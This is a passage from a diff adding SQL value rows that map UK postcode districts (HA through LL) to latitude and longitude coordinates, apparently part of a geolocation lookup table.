+('HA3', '', '', '51.592', '-0.32', 0, 1, 'uk'),
+('HA4', '', '', '51.57', '-0.409', 0, 1, 'uk'),
+('HA5', '', '', '51.594', '-0.385', 0, 1, 'uk'),
+('HA6', '', '', '51.61', '-0.42', 0, 1, 'uk'),
+('HA7', '', '', '51.61', '-0.307', 0, 1, 'uk'),
+('HA8', '', '', '51.611', '-0.272', 0, 1, 'uk'),
+('HA9', '', '', '51.559', '-0.287', 0, 1, 'uk'),
+('HD1', '', '', '53.647', '-1.788', 0, 1, 'uk'),
+('HD2', '', '', '53.668', '-1.775', 0, 1, 'uk'),
+('HD3', '', '', '53.653', '-1.828', 0, 1, 'uk'),
+('HD4', '', '', '53.626', '-1.796', 0, 1, 'uk'),
+('HD5', '', '', '53.647', '-1.746', 0, 1, 'uk'),
+('HD6', '', '', '53.702', '-1.782', 0, 1, 'uk'),
+('HD7', '', '', '53.624', '-1.877', 0, 1, 'uk'),
+('HD8', '', '', '53.601', '-1.679', 0, 1, 'uk'),
+('HD80', '', '', '53.633649', '-1.722611', 0, 1, 'uk'),
+('HD9', '', '', '53.58', '-1.795', 0, 1, 'uk'),
+('HG1', '', '', '54', '-1.533', 0, 1, 'uk'),
+('HG2', '', '', '53.987', '-1.526', 0, 1, 'uk'),
+('HG3', '', '', '54.031', '-1.616', 0, 1, 'uk'),
+('HG4', '', '', '54.156', '-1.566', 0, 1, 'uk'),
+('HG41', '', '', '54.141875', '-1.521458', 0, 1, 'uk'),
+('HG5', '', '', '54.013', '-1.457', 0, 1, 'uk'),
+('HP1', '', '', '51.755', '-0.488', 0, 1, 'uk'),
+('HP10', '', '', '51.609', '-0.702', 0, 1, 'uk'),
+('HP11', '', '', '51.624', '-0.744', 0, 1, 'uk'),
+('HP12', '', '', '51.625', '-0.778', 0, 1, 'uk'),
+('HP13', '', '', '51.633', '-0.741', 0, 1, 'uk'),
+('HP14', '', '', '51.649', '-0.828', 0, 1, 'uk'),
+('HP15', '', '', '51.656', '-0.712', 0, 1, 'uk'),
+('HP16', '', '', '51.702', '-0.717', 0, 1, 'uk'),
+('HP17', '', '', '51.776', '-0.87', 0, 1, 'uk'),
+('HP18', '', '', '51.814', '-0.982', 0, 1, 'uk'),
+('HP19', '', '', '51.822', '-0.825', 0, 1, 'uk'),
+('HP2', '', '', '51.762', '-0.452', 0, 1, 'uk'),
+('HP20', '', '', '51.819', '-0.803', 0, 1, 'uk'),
+('HP21', '', '', '51.806', '-0.805', 0, 1, 'uk'),
+('HP22', '', '', '51.806', '-0.766', 0, 1, 'uk'),
+('HP23', '', '', '51.795', '-0.66', 0, 1, 'uk'),
+('HP27', '', '', '51.719', '-0.83', 0, 1, 'uk'),
+('HP3', '', '', '51.737', '-0.47', 0, 1, 'uk'),
+('HP4', '', '', '51.767', '-0.567', 0, 1, 'uk'),
+('HP5', '', '', '51.712', '-0.608', 0, 1, 'uk'),
+('HP6', '', '', '51.678', '-0.598', 0, 1, 'uk'),
+('HP7', '', '', '51.665', '-0.608', 0, 1, 'uk'),
+('HP8', '', '', '51.642', '-0.573', 0, 1, 'uk'),
+('HP9', '', '', '51.61', '-0.639', 0, 1, 'uk'),
+('HR1', '', '', '52.064', '-2.669', 0, 1, 'uk'),
+('HR2', '', '', '52.01', '-2.783', 0, 1, 'uk'),
+('HR3', '', '', '52.094', '-3.075', 0, 1, 'uk'),
+('HR4', '', '', '52.088', '-2.766', 0, 1, 'uk'),
+('HR5', '', '', '52.192', '-3.027', 0, 1, 'uk'),
+('HR6', '', '', '52.233', '-2.771', 0, 1, 'uk'),
+('HR7', '', '', '52.186', '-2.521', 0, 1, 'uk'),
+('HR8', '', '', '52.044', '-2.444', 0, 1, 'uk'),
+('HR9', '', '', '51.908', '-2.582', 0, 1, 'uk'),
+('HS1', '', '', '58.213', '-6.381', 0, 1, 'uk'),
+('HS2', '', '', '58.249', '-6.468', 0, 1, 'uk'),
+('HS3', '', '', '57.879', '-6.853', 0, 1, 'uk'),
+('HS4', '', '', '57.87', '-6.69', 0, 1, 'uk'),
+('HS5', '', '', '57.8', '-6.961', 0, 1, 'uk'),
+('HS6', '', '', '57.601', '-7.299', 0, 1, 'uk'),
+('HS7', '', '', '57.447', '-7.34', 0, 1, 'uk'),
+('HS8', '', '', '57.233', '-7.346', 0, 1, 'uk'),
+('HS9', '', '', '56.972', '-7.472', 0, 1, 'uk'),
+('HU1', '', '', '53.743', '-0.335', 0, 1, 'uk'),
+('HU10', '', '', '53.752', '-0.441', 0, 1, 'uk'),
+('HU11', '', '', '53.826', '-0.22', 0, 1, 'uk'),
+('HU12', '', '', '53.724', '-0.13', 0, 1, 'uk'),
+('HU13', '', '', '53.725', '-0.435', 0, 1, 'uk'),
+('HU14', '', '', '53.728', '-0.5', 0, 1, 'uk'),
+('HU15', '', '', '53.749', '-0.622', 0, 1, 'uk'),
+('HU16', '', '', '53.781', '-0.419', 0, 1, 'uk'),
+('HU17', '', '', '53.847', '-0.427', 0, 1, 'uk'),
+('HU18', '', '', '53.909', '-0.167', 0, 1, 'uk'),
+('HU19', '', '', '53.723', '0.036', 0, 1, 'uk'),
+('HU2', '', '', '53.75', '-0.338', 0, 1, 'uk'),
+('HU20', '', '', '53.788', '-0.513', 0, 1, 'uk'),
+('HU3', '', '', '53.742', '-0.365', 0, 1, 'uk'),
+('HU4', '', '', '53.736', '-0.4', 0, 1, 'uk'),
+('HU5', '', '', '53.76', '-0.375', 0, 1, 'uk'),
+('HU6', '', '', '53.781', '-0.369', 0, 1, 'uk'),
+('HU7', '', '', '53.789', '-0.325', 0, 1, 'uk'),
+('HU8', '', '', '53.769', '-0.299', 0, 1, 'uk'),
+('HU9', '', '', '53.756', '-0.286', 0, 1, 'uk'),
+('HW8', '', '', '51.607185', '-0.276155', 0, 1, 'uk'),
+('HX1', '', '', '53.721', '-1.87', 0, 1, 'uk'),
+('HX2', '', '', '53.738', '-1.904', 0, 1, 'uk'),
+('HX3', '', '', '53.726', '-1.844', 0, 1, 'uk'),
+('HX4', '', '', '53.679', '-1.88', 0, 1, 'uk'),
+('HX5', '', '', '53.686', '-1.835', 0, 1, 'uk'),
+('HX6', '', '', '53.698', '-1.924', 0, 1, 'uk'),
+('HX7', '', '', '53.739', '-2.007', 0, 1, 'uk'),
+('IG1', '', '', '51.559', '0.075', 0, 1, 'uk'),
+('IG10', '', '', '51.648', '0.066', 0, 1, 'uk'),
+('IG11', '', '', '51.535', '0.094', 0, 1, 'uk'),
+('IG2', '', '', '51.574', '0.082', 0, 1, 'uk'),
+('IG3', '', '', '51.562', '0.101', 0, 1, 'uk'),
+('IG4', '', '', '51.577', '0.055', 0, 1, 'uk'),
+('IG5', '', '', '51.588', '0.066', 0, 1, 'uk'),
+('IG6', '', '', '51.593', '0.089', 0, 1, 'uk'),
+('IG7', '', '', '51.613', '0.089', 0, 1, 'uk'),
+('IG8', '', '', '51.607', '0.034', 0, 1, 'uk'),
+('IG9', '', '', '51.623', '0.04', 0, 1, 'uk'),
+('IM1', '', '', '54.149847', '-4.48465', 0, 1, 'uk'),
+('IM2', '', '', '54.150778', '-4.506451', 0, 1, 'uk'),
+('IM3', '', '', '54.170601', '-4.455229', 0, 1, 'uk'),
+('IM4', '', '', '54.136934', '-4.547301', 0, 1, 'uk'),
+('IM5', '', '', '54.223595', '-4.696299', 0, 1, 'uk'),
+('IM6', '', '', '54.279755', '-4.588495', 0, 1, 'uk'),
+('IM7', '', '', '54.283903', '-4.350988', 0, 1, 'uk'),
+('IM8', '', '', '54.324059', '-4.382609', 0, 1, 'uk'),
+('IM9', '', '', '54.074537', '-4.643028', 0, 1, 'uk'),
+('IO6', '', '', '52.11206', '1.116439', 0, 1, 'uk'),
+('IP1', '', '', '52.067', '1.142', 0, 1, 'uk'),
+('IP10', '', '', '52.019', '1.27', 0, 1, 'uk'),
+('IP11', '', '', '51.97', '1.334', 0, 1, 'uk'),
+('IP12', '', '', '52.092', '1.373', 0, 1, 'uk'),
+('IP13', '', '', '52.185', '1.321', 0, 1, 'uk'),
+('IP14', '', '', '52.206', '1.035', 0, 1, 'uk'),
+('IP15', '', '', '52.157', '1.597', 0, 1, 'uk'),
+('IP16', '', '', '52.204', '1.586', 0, 1, 'uk'),
+('IP17', '', '', '52.23', '1.503', 0, 1, 'uk'),
+('IP18', '', '', '52.33', '1.673', 0, 1, 'uk'),
+('IP19', '', '', '52.34', '1.495', 0, 1, 'uk'),
+('IP2', '', '', '52.045', '1.136', 0, 1, 'uk'),
+('IP20', '', '', '52.406', '1.321', 0, 1, 'uk'),
+('IP21', '', '', '52.364', '1.236', 0, 1, 'uk'),
+('IP22', '', '', '52.376', '1.053', 0, 1, 'uk'),
+('IP23', '', '', '52.307', '1.125', 0, 1, 'uk'),
+('IP24', '', '', '52.419', '0.759', 0, 1, 'uk'),
+('IP25', '', '', '52.586', '0.84', 0, 1, 'uk'),
+('IP26', '', '', '52.508', '0.577', 0, 1, 'uk'),
+('IP27', '', '', '52.43', '0.586', 0, 1, 'uk'),
+('IP28', '', '', '52.326', '0.549', 0, 1, 'uk'),
+('IP29', '', '', '52.193', '0.663', 0, 1, 'uk'),
+('IP3', '', '', '52.041', '1.188', 0, 1, 'uk'),
+('IP30', '', '', '52.209', '0.837', 0, 1, 'uk'),
+('IP31', '', '', '52.291', '0.828', 0, 1, 'uk'),
+('IP32', '', '', '52.254', '0.717', 0, 1, 'uk'),
+('IP33', '', '', '52.242', '0.708', 0, 1, 'uk'),
+('IP4', '', '', '52.06', '1.181', 0, 1, 'uk'),
+('IP5', '', '', '52.061', '1.242', 0, 1, 'uk'),
+('IP6', '', '', '52.131', '1.116', 0, 1, 'uk'),
+('IP7', '', '', '52.068', '0.95', 0, 1, 'uk'),
+('IP8', '', '', '52.062', '1.083', 0, 1, 'uk'),
+('IP9', '', '', '51.99', '1.149', 0, 1, 'uk'),
+('IV1', '', '', '57.487', '-4.231', 0, 1, 'uk'),
+('IV10', '', '', '57.585', '-4.126', 0, 1, 'uk'),
+('IV11', '', '', '57.677', '-4.038', 0, 1, 'uk'),
+('IV12', '', '', '57.574', '-3.864', 0, 1, 'uk'),
+('IV13', '', '', '57.343', '-4.013', 0, 1, 'uk'),
+('IV14', '', '', '57.586', '-4.547', 0, 1, 'uk'),
+('IV15', '', '', '57.599', '-4.43', 0, 1, 'uk'),
+('IV16', '', '', '57.665', '-4.337', 0, 1, 'uk'),
+('IV17', '', '', '57.7', '-4.26', 0, 1, 'uk'),
+('IV18', '', '', '57.702', '-4.155', 0, 1, 'uk'),
+('IV19', '', '', '57.805', '-4.061', 0, 1, 'uk'),
+('IV2', '', '', '57.468', '-4.19', 0, 1, 'uk'),
+('IV20', '', '', '57.786', '-3.907', 0, 1, 'uk'),
+('IV21', '', '', '57.724', '-5.72', 0, 1, 'uk'),
+('IV22', '', '', '57.742', '-5.506', 0, 1, 'uk'),
+('IV23', '', '', '57.773', '-5.01', 0, 1, 'uk'),
+('IV24', '', '', '57.891', '-4.355', 0, 1, 'uk'),
+('IV25', '', '', '57.891', '-4.042', 0, 1, 'uk'),
+('IV26', '', '', '57.916', '-5.173', 0, 1, 'uk'),
+('IV27', '', '', '58.277', '-4.8', 0, 1, 'uk'),
+('IV28', '', '', '58.015', '-4.157', 0, 1, 'uk'),
+('IV3', '', '', '57.477', '-4.245', 0, 1, 'uk'),
+('IV30', '', '', '57.654', '-3.327', 0, 1, 'uk'),
+('IV31', '', '', '57.717', '-3.289', 0, 1, 'uk'),
+('IV32', '', '', '57.632', '-3.11', 0, 1, 'uk'),
+('IV33', '', '', '57.528877', '-3.209202', 0, 1, 'uk'),
+('IV35', '', '', '57.458131', '-3.346743', 0, 1, 'uk'),
+('IV36', '', '', '57.611', '-3.604', 0, 1, 'uk'),
+('IV4', '', '', '57.448', '-4.533', 0, 1, 'uk'),
+('IV40', '', '', '57.275', '-5.65', 0, 1, 'uk'),
+('IV41', '', '', '57.274', '-5.735', 0, 1, 'uk'),
+('IV42', '', '', '57.239', '-5.829', 0, 1, 'uk'),
+('IV43', '', '', '57.156', '-5.81', 0, 1, 'uk'),
+('IV44', '', '', '57.115', '-5.874', 0, 1, 'uk'),
+('IV45', '', '', '57.067', '-5.906', 0, 1, 'uk'),
+('IV46', '', '', '57.114', '-5.984', 0, 1, 'uk'),
+('IV47', '', '', '57.294', '-6.344', 0, 1, 'uk'),
+('IV48', '', '', '57.311', '-6.098', 0, 1, 'uk'),
+('IV49', '', '', '57.228', '-5.946', 0, 1, 'uk'),
+('IV5', '', '', '57.468', '-4.411', 0, 1, 'uk'),
+('IV51', '', '', '57.481', '-6.246', 0, 1, 'uk'),
+('IV52', '', '', '57.337', '-5.651', 0, 1, 'uk'),
+('IV53', '', '', '57.344', '-5.554', 0, 1, 'uk'),
+('IV54', '', '', '57.431', '-5.616', 0, 1, 'uk'),
+('IV55', '', '', '57.459', '-6.611', 0, 1, 'uk'),
+('IV56', '', '', '57.366', '-6.429', 0, 1, 'uk'),
+('IV6', '', '', '57.526', '-4.458', 0, 1, 'uk'),
+('IV63', '', '', '57.323', '-4.505', 0, 1, 'uk'),
+('IV7', '', '', '57.584', '-4.384', 0, 1, 'uk'),
+('IV8', '', '', '57.554', '-4.265', 0, 1, 'uk'),
+('IV9', '', '', '57.569', '-4.177', 0, 1, 'uk'),
+('JE2', '', '', '49.201412', '-2.115852', 0, 1, 'uk'),
+('JE3', '', '', '49.187959', '-2.170604', 0, 1, 'uk'),
+('KA1', '', '', '55.596', '-4.496', 0, 1, 'uk'),
+('KA10', '', '', '55.549', '-4.648', 0, 1, 'uk'),
+('KA11', '', '', '55.618', '-4.626', 0, 1, 'uk'),
+('KA12', '', '', '55.619', '-4.664', 0, 1, 'uk'),
+('KA13', '', '', '55.655', '-4.699', 0, 1, 'uk'),
+('KA14', '', '', '55.74', '-4.671', 0, 1, 'uk'),
+('KA15', '', '', '55.748', '-4.625', 0, 1, 'uk'),
+('KA16', '', '', '55.607', '-4.33', 0, 1, 'uk'),
+('KA17', '', '', '55.611', '-4.282', 0, 1, 'uk'),
+('KA18', '', '', '55.451', '-4.239', 0, 1, 'uk'),
+('KA19', '', '', '55.346', '-4.667', 0, 1, 'uk'),
+('KA2', '', '', '55.596', '-4.563', 0, 1, 'uk'),
+('KA20', '', '', '55.641', '-4.751', 0, 1, 'uk'),
+('KA21', '', '', '55.641', '-4.783', 0, 1, 'uk'),
+('KA22', '', '', '55.65', '-4.807', 0, 1, 'uk'),
+('KA23', '', '', '55.691', '-4.855', 0, 1, 'uk'),
+('KA24', '', '', '55.71', '-4.715', 0, 1, 'uk'),
+('KA25', '', '', '55.753', '-4.688', 0, 1, 'uk'),
+('KA26', '', '', '55.219', '-4.834', 0, 1, 'uk'),
+('KA27', '', '', '55.539', '-5.172', 0, 1, 'uk'),
+('KA28', '', '', '55.755', '-4.924', 0, 1, 'uk'),
+('KA29', '', '', '55.757', '-4.853', 0, 1, 'uk'),
+('KA3', '', '', '55.644', '-4.495', 0, 1, 'uk'),
+('KA30', '', '', '55.797', '-4.862', 0, 1, 'uk'),
+('KA4', '', '', '55.599', '-4.382', 0, 1, 'uk'),
+('KA5', '', '', '55.51', '-4.386', 0, 1, 'uk'),
+('KA6', '', '', '55.415', '-4.505', 0, 1, 'uk'),
+('KA7', '', '', '55.448', '-4.628', 0, 1, 'uk'),
+('KA8', '', '', '55.472', '-4.612', 0, 1, 'uk'),
+('KA9', '', '', '55.497', '-4.604', 0, 1, 'uk'),
+('KT1', '', '', '51.407', '-0.297', 0, 1, 'uk'),
+('KT10', '', '', '51.368', '-0.354', 0, 1, 'uk'),
+('KT11', '', '', '51.328', '-0.402', 0, 1, 'uk'),
+('KT12', '', '', '51.377', '-0.407', 0, 1, 'uk'),
+('KT13', '', '', '51.368', '-0.449', 0, 1, 'uk'),
+('KT14', '', '', '51.339', '-0.486', 0, 1, 'uk'),
+('KT15', '', '', '51.363', '-0.494', 0, 1, 'uk'),
+('KT16', '', '', '51.383', '-0.514', 0, 1, 'uk'),
+('KT17', '', '', '51.341', '-0.248', 0, 1, 'uk'),
+('KT18', '', '', '51.317', '-0.262', 0, 1, 'uk'),
+('KT19', '', '', '51.351', '-0.267', 0, 1, 'uk'),
+('KT2', '', '', '51.416', '-0.289', 0, 1, 'uk'),
+('KT20', '', '', '51.286', '-0.23', 0, 1, 'uk'),
+('KT21', '', '', '51.311', '-0.301', 0, 1, 'uk'),
+('KT22', '', '', '51.301', '-0.337', 0, 1, 'uk'),
+('KT23', '', '', '51.281', '-0.37', 0, 1, 'uk'),
+('KT24', '', '', '51.269', '-0.429', 0, 1, 'uk'),
+('KT3', '', '', '51.399', '-0.256', 0, 1, 'uk'),
+('KT4', '', '', '51.378', '-0.242', 0, 1, 'uk'),
+('KT5', '', '', '51.392', '-0.286', 0, 1, 'uk'),
+('KT6', '', '', '51.389', '-0.299', 0, 1, 'uk'),
+('KT7', '', '', '51.389', '-0.328', 0, 1, 'uk'),
+('KT8', '', '', '51.401', '-0.363', 0, 1, 'uk'),
+('KT9', '', '', '51.364', '-0.301', 0, 1, 'uk'),
+('KW1', '', '', '58.458', '-3.121', 0, 1, 'uk'),
+('KW10', '', '', '57.975', '-3.975', 0, 1, 'uk'),
+('KW11', '', '', '58.305', '-4.13', 0, 1, 'uk'),
+('KW12', '', '', '58.506', '-3.491', 0, 1, 'uk'),
+('KW13', '', '', '58.455', '-3.895', 0, 1, 'uk'),
+('KW14', '', '', '58.589', '-3.556', 0, 1, 'uk'),
+('KW15', '', '', '58.981', '-2.959', 0, 1, 'uk'),
+('KW16', '', '', '58.96', '-3.274', 0, 1, 'uk'),
+('KW17', '', '', '59.042', '-3.003', 0, 1, 'uk'),
+('KW2', '', '', '58.349', '-3.163', 0, 1, 'uk'),
+('KW3', '', '', '58.308', '-3.279', 0, 1, 'uk'),
+('KW5', '', '', '58.287', '-3.382', 0, 1, 'uk'),
+('KW6', '', '', '58.249', '-3.442', 0, 1, 'uk'),
+('KW7', '', '', '58.187', '-3.5', 0, 1, 'uk'),
+('KW8', '', '', '58.116', '-3.664', 0, 1, 'uk'),
+('KW9', '', '', '58.014', '-3.858', 0, 1, 'uk'),
+('KY1', '', '', '56.128', '-3.137', 0, 1, 'uk'),
+('KY10', '', '', '56.231', '-2.7', 0, 1, 'uk'),
+('KY11', '', '', '56.047', '-3.415', 0, 1, 'uk'),
+('KY12', '', '', '56.077', '-3.492', 0, 1, 'uk'),
+('KY13', '', '', '56.208', '-3.432', 0, 1, 'uk'),
+('KY14', '', '', '56.31', '-3.239', 0, 1, 'uk'),
+('KY15', '', '', '56.3', '-3.051', 0, 1, 'uk'),
+('KY16', '', '', '56.342', '-2.819', 0, 1, 'uk'),
+('KY2', '', '', '56.123', '-3.182', 0, 1, 'uk'),
+('KY3', '', '', '56.064', '-3.23', 0, 1, 'uk'),
+('KY4', '', '', '56.115', '-3.361', 0, 1, 'uk'),
+('KY5', '', '', '56.145', '-3.294', 0, 1, 'uk'),
+('KY6', '', '', '56.197', '-3.197', 0, 1, 'uk'),
+('KY7', '', '', '56.197', '-3.154', 0, 1, 'uk'),
+('KY8', '', '', '56.197', '-3.011', 0, 1, 'uk'),
+('KY9', '', '', '56.21', '-2.833', 0, 1, 'uk'),
+('L1', '', '', '53.402', '-2.979', 0, 1, 'uk'),
+('L10', '', '', '53.474', '-2.926', 0, 1, 'uk'),
+('L11', '', '', '53.448', '-2.914', 0, 1, 'uk'),
+('L12', '', '', '53.435', '-2.895', 0, 1, 'uk'),
+('L13', '', '', '53.417', '-2.919', 0, 1, 'uk'),
+('L14', '', '', '53.418', '-2.879', 0, 1, 'uk'),
+('L15', '', '', '53.397', '-2.919', 0, 1, 'uk'),
+('L16', '', '', '53.398', '-2.887', 0, 1, 'uk'),
+('L17', '', '', '53.378', '-2.94', 0, 1, 'uk'),
+('L18', '', '', '53.38', '-2.907', 0, 1, 'uk'),
+('L19', '', '', '53.359', '-2.902', 0, 1, 'uk'),
+('L2', '', '', '53.407', '-2.989', 0, 1, 'uk'),
+('L20', '', '', '53.452', '-2.988', 0, 1, 'uk'),
+('L21', '', '', '53.471', '-2.999', 0, 1, 'uk'),
+('L22', '', '', '53.477', '-3.026', 0, 1, 'uk'),
+('L23', '', '', '53.491', '-3.022', 0, 1, 'uk'),
+('L24', '', '', '53.343', '-2.836', 0, 1, 'uk'),
+('L25', '', '', '53.378', '-2.862', 0, 1, 'uk'),
+('L26', '', '', '53.364', '-2.832', 0, 1, 'uk'),
+('L27', '', '', '53.388', '-2.837', 0, 1, 'uk'),
+('L28', '', '', '53.435', '-2.864', 0, 1, 'uk'),
+('L29', '', '', '53.507', '-2.983', 0, 1, 'uk'),
+('L3', '', '', '53.409', '-2.983', 0, 1, 'uk'),
+('L30', '', '', '53.484', '-2.971', 0, 1, 'uk'),
+('L31', '', '', '53.513', '-2.937', 0, 1, 'uk'),
+('L32', '', '', '53.478', '-2.888', 0, 1, 'uk'),
+('L33', '', '', '53.489', '-2.875', 0, 1, 'uk'),
+('L34', '', '', '53.437', '-2.815', 0, 1, 'uk'),
+('L35', '', '', '53.415', '-2.782', 0, 1, 'uk'),
+('L36', '', '', '53.414', '-2.84', 0, 1, 'uk'),
+('L37', '', '', '53.557', '-3.062', 0, 1, 'uk'),
+('L38', '', '', '53.524', '-3.05', 0, 1, 'uk'),
+('L39', '', '', '53.562', '-2.896', 0, 1, 'uk'),
+('L4', '', '', '53.438', '-2.96', 0, 1, 'uk'),
+('L40', '', '', '53.602', '-2.841', 0, 1, 'uk'),
+('L5', '', '', '53.425', '-2.975', 0, 1, 'uk'),
+('L6', '', '', '53.419', '-2.95', 0, 1, 'uk'),
+('L69', '', '', '53.407', '-2.974', 0, 1, 'uk'),
+('L7', '', '', '53.406', '-2.948', 0, 1, 'uk'),
+('L70', '', '', '53.409', '-2.97', 0, 1, 'uk'),
+('L8', '', '', '53.39', '-2.962', 0, 1, 'uk'),
+('L9', '', '', '53.461', '-2.952', 0, 1, 'uk'),
+('LA1', '', '', '54.046', '-2.799', 0, 1, 'uk'),
+('LA10', '', '', '54.314', '-2.493', 0, 1, 'uk'),
+('LA11', '', '', '54.2', '-2.924', 0, 1, 'uk'),
+('LA12', '', '', '54.203', '-3.082', 0, 1, 'uk'),
+('LA13', '', '', '54.118', '-3.198', 0, 1, 'uk'),
+('LA14', '', '', '54.118', '-3.23', 0, 1, 'uk'),
+('LA15', '', '', '54.156', '-3.178', 0, 1, 'uk'),
+('LA16', '', '', '54.186', '-3.202', 0, 1, 'uk'),
+('LA17', '', '', '54.239', '-3.175', 0, 1, 'uk'),
+('LA18', '', '', '54.215', '-3.275', 0, 1, 'uk'),
+('LA19', '', '', '54.293', '-3.375', 0, 1, 'uk'),
+('LA2', '', '', '54.066', '-2.673', 0, 1, 'uk'),
+('LA20', '', '', '54.294', '-3.205', 0, 1, 'uk'),
+('LA21', '', '', '54.364', '-3.072', 0, 1, 'uk'),
+('LA22', '', '', '54.422', '-2.987', 0, 1, 'uk'),
+('LA23', '', '', '54.371', '-2.911', 0, 1, 'uk'),
+('LA3', '', '', '54.051', '-2.877', 0, 1, 'uk'),
+('LA4', '', '', '54.07', '-2.852', 0, 1, 'uk'),
+('LA5', '', '', '54.143', '-2.79', 0, 1, 'uk'),
+('LA50', '', '', '54.202028', '-2.827829', 0, 1, 'uk'),
+('LA6', '', '', '54.176', '-2.611', 0, 1, 'uk'),
+('LA63', '', '', '54.205629', '-2.359995', 0, 1, 'uk'),
+('LA7', '', '', '54.226', '-2.772', 0, 1, 'uk'),
+('LA8', '', '', '54.323', '-2.759', 0, 1, 'uk'),
+('LA9', '', '', '54.325', '-2.742', 0, 1, 'uk'),
+('LD1', '', '', '52.261', '-3.365', 0, 1, 'uk'),
+('LD2', '', '', '52.141', '-3.393', 0, 1, 'uk'),
+('LD3', '', '', '51.96', '-3.371', 0, 1, 'uk'),
+('LD4', '', '', '52.118', '-3.555', 0, 1, 'uk'),
+('LD5', '', '', '52.127', '-3.616', 0, 1, 'uk'),
+('LD6', '', '', '52.309', '-3.508', 0, 1, 'uk'),
+('LD7', '', '', '52.352', '-3.085', 0, 1, 'uk'),
+('LD8', '', '', '52.268', '-3.043', 0, 1, 'uk'),
+('LE1', '', '', '52.634', '-1.128', 0, 1, 'uk'),
+('LE10', '', '', '52.537', '-1.368', 0, 1, 'uk'),
+('LE11', '', '', '52.769', '-1.216', 0, 1, 'uk'),
+('LE12', '', '', '52.766', '-1.192', 0, 1, 'uk'),
+('LE13', '', '', '52.765', '-0.885', 0, 1, 'uk'),
+('LE14', '', '', '52.784', '-0.895', 0, 1, 'uk'),
+('LE15', '', '', '52.656', '-0.701', 0, 1, 'uk'),
+('LE16', '', '', '52.486', '-0.892', 0, 1, 'uk'),
+('LE17', '', '', '52.467', '-1.177', 0, 1, 'uk'),
+('LE18', '', '', '52.583', '-1.111', 0, 1, 'uk'),
+('LE19', '', '', '52.5834', '-1.194065', 0, 1, 'uk'),
+('LE2', '', '', '52.609', '-1.115', 0, 1, 'uk'),
+('LE3', '', '', '52.628', '-1.181', 0, 1, 'uk'),
+('LE4', '', '', '52.663', '-1.123', 0, 1, 'uk'),
+('LE42', '', '', '52.661927', '-1.141522', 0, 1, 'uk'),
+('LE5', '', '', '52.636', '-1.086', 0, 1, 'uk'),
+('LE6', '', '', '52.663', '-1.242', 0, 1, 'uk'),
+('LE65', '', '', '52.748', '-1.468', 0, 1, 'uk'),
+('LE67', '', '', '52.716', '-1.36', 0, 1, 'uk'),
+('LE7', '', '', '52.678', '-1.068', 0, 1, 'uk'),
+('LE8', '', '', '52.553', '-1.098', 0, 1, 'uk'),
+('LE9', '', '', '52.57', '-1.287', 0, 1, 'uk'),
+('LL11', '', '', '53.063', '-3.035', 0, 1, 'uk'),
+('LL12', '', '', '53.086', '-2.988', 0, 1, 'uk'),
+('LL13', '', '', '53.036', '-2.96', 0, 1, 'uk'),
+('LL14', '', '', '52.992', '-3.051', 0, 1, 'uk'),
+('LL15', '', '', '53.103', '-3.315', 0, 1, 'uk'),
+('LL16', '', '', '53.185', '-3.432', 0, 1, 'uk'),
+('LL17', '', '', '53.253', '-3.435', 0, 1, 'uk'),
+('LL18', '', '', '53.31', '-3.475', 0, 1, 'uk'),
+('LL19', '', '', '53.331', '-3.408', 0, 1, 'uk'),
+('LL20', '', '', '52.959', '-3.159', 0, 1, 'uk'),
+('LL21', '', '', '52.99', '-3.409', 0, 1, 'uk'),
+('LL22', '', '', '53.269', '-3.593', 0, 1, 'uk'),
+('LL23', '', '', '52.905', '-3.6', 0, 1, 'uk'),
+('LL24', '', '', '53.057', '-3.785', 0, 1, 'uk'),
+('LL25', '', '', '53.054', '-3.878', 0, 1, 'uk'),
+('LL26', '', '', '53.139', '-3.785', 0, 1, 'uk'),
+('LL27', '', '', '53.147', '-3.824', 0, 1, 'uk'),
+('LL28', '', '', '53.288', '-3.76', 0, 1, 'uk'),
+('LL29', '', '', '53.289', '-3.708', 0, 1, 'uk'),
+('LL30', '', '', '53.318', '-3.815', 0, 1, 'uk'),
+('LL31', '', '', '53.291', '-3.81', 0, 1, 'uk'),
+('LL32', '', '', '53.26', '-3.839', 0, 1, 'uk'),
+('LL33', '', '', '53.25', '-3.98', 0, 1, 'uk'),
+('LL34', '', '', '53.271', '-3.912', 0, 1, 'uk'),
+('LL35', '', '', '52.547', '-4.041', 0, 1, 'uk'),
+('LL36', '', '', '52.604', '-4.063', 0, 1, 'uk'),
+('LL37', '', '', '52.666', '-4.083', 0, 1, 'uk'),
+('LL38', '', '', '52.698', '-4.039', 0, 1, 'uk'),
+('LL39', '', '', '52.711', '-4.011', 0, 1, 'uk'),
+('LL40', '', '', '52.756', '-3.875', 0, 1, 'uk'),
+('LL41', '', '', '52.969', '-3.938', 0, 1, 'uk'),
+('LL42', '', '', '52.725', '-4.054', 0, 1, 'uk'),
+('LL43', '', '', '52.774', '-4.092', 0, 1, 'uk'),
+('LL44', '', '', '52.791', '-4.096', 0, 1, 'uk'),
+('LL45', '', '', '52.82', '-4.095', 0, 1, 'uk'),
+('LL46', '', '', '52.854', '-4.106', 0, 1, 'uk'),
+('LL47', '', '', '52.902', '-4.062', 0, 1, 'uk'),
+('LL48', '', '', '52.936', '-4.07', 0, 1, 'uk'),
+('LL49', '', '', '52.929', '-4.138', 0, 1, 'uk'),
+('LL4O', '', '', '52.756458', '-3.944837', 0, 1, 'uk'),
+('LL51', '', '', '52.974', '-4.238', 0, 1, 'uk'),
+('LL52', '', '', '52.925', '-4.24', 0, 1, 'uk'),
+('LL53', '', '', '52.884', '-4.491', 0, 1, 'uk'),
+('LL54', '', '', '53.059', '-4.285', 0, 1, 'uk'),
+('LL55', '', '', '53.134', '-4.204', 0, 1, 'uk'),
+('LL56', '', '', '53.187', '-4.199', 0, 1, 'uk'),
+('LL57', '', '', '53.207', '-4.111', 0, 1, 'uk'),
+('LL58', '', '', '53.28', '-4.099', 0, 1, 'uk'),
+('LL59', '', '', '53.235', '-4.159', 0, 1, 'uk'),
+('LL60', '', '', '53.215', '-4.27', 0, 1, 'uk'),
+('LL61', '', '', '53.195', '-4.262', 0, 1, 'uk'),
+('LL62', '', '', '53.21', '-4.385', 0, 1, 'uk'),
+('LL63', '', '', '53.219', '-4.471', 0, 1, 'uk'),
+('LL64', '', '', '53.228', '-4.517', 0, 1, 'uk'),
+('LL65', '', '', '53.301', '-4.569', 0, 1, 'uk'),
+('LL66', '', '', '53.381', '-4.405', 0, 1, 'uk'),
+('LL67', '', '', '53.411', '-4.456', 0, 1, 'uk'),
+('LL68', '', '', '53.398', '-4.377', 0, 1, 'uk'),
+('LL69', '', '', '53.386', '-4.318', 0, 1, 'uk'),
